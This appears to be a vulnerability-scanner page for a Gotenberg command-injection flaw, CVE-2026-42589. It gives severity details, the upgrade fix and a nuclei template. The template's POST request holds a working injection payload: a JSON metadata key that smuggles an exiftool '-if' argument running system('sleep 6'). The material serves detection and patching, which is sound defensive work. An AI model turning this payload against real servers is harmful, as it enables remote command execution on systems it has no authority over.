Gotenberg - Command Injection

criticalseverity

9.8CVSS score

3%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

Gotenberg < 8.31.0 contains a command injection caused by lack of validation on JSON metadata keys in /forms/pdfengines/metadata/write endpoint, letting unauthenticated attackers execute OS commands, exploit requires crafted HTTP request.

Impact

Unauthenticated attackers can execute arbitrary OS commands remotely, potentially leading to full system compromise.

Fix

Update to version 8.31.0 or later.

How to confirm it

Send: GET /version
Positive when: compare_versions(version, "< 8.31.0") and contains(to_lower(header), "gotenberg") and status_code == 200
Send: @timeout: 10s
Positive when: status_code == 500 and duration >= 6

Run it with nuclei: nuclei -id CVE-2026-42589 -u <target>

The full check

id: CVE-2026-42589

info:
  name: Gotenberg - Command Injection
  author: fineman999
  severity: critical
  description: |
    Gotenberg < 8.31.0 contains a command injection caused by lack of validation on JSON metadata keys in /forms/pdfengines/metadata/write endpoint, letting unauthenticated attackers execute OS commands, exploit requires crafted HTTP request.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands remotely, potentially leading to full system compromise.
  remediation: |
    Update to version 8.31.0 or later.
  reference:
    - https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rqgh-gxv4-6657
    - https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42589
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-42589
    epss-score: 0.03013
    epss-percentile: 0.87529
    cwe-id: CWE-78
  metadata:
    verified: true
    vendor: gotenberg
    product: gotenberg
    max-request: 2
  tags: cve,cve2026,gotenberg,exiftool,rce,unauth,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /version HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "< 8.31.0")'
          - 'contains(to_lower(header), "gotenberg")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - "([0-9.]+)"
        internal: true

  - raw:
      - |
        @timeout: 10s
        POST /forms/pdfengines/metadata/write HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}

        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="files"; filename="sample.pdf"
        Content-Type: application/pdf

        %PDF-1.1
        1 0 obj
        << /Type /Catalog /Pages 2 0 R >>
        endobj
        2 0 obj
        << /Type /Pages /Kids [3 0 R] /Count 1 >>
        endobj
        3 0 obj
        << /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] >>
        endobj
        xref
        0 4
        0000000000 65535 f
        0000000009 00000 n
        0000000058 00000 n
        0000000115 00000 n
        trailer
        << /Root 1 0 R /Size 4 >>
        startxref
        186
        %%EOF
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="metadata"

        {"Title\n-if\nsystem('sleep 6')||1\n-Comment":"x"}
        ------WebKitFormBoundary{{randstr}}--

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 500"
          - "duration >= 6"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from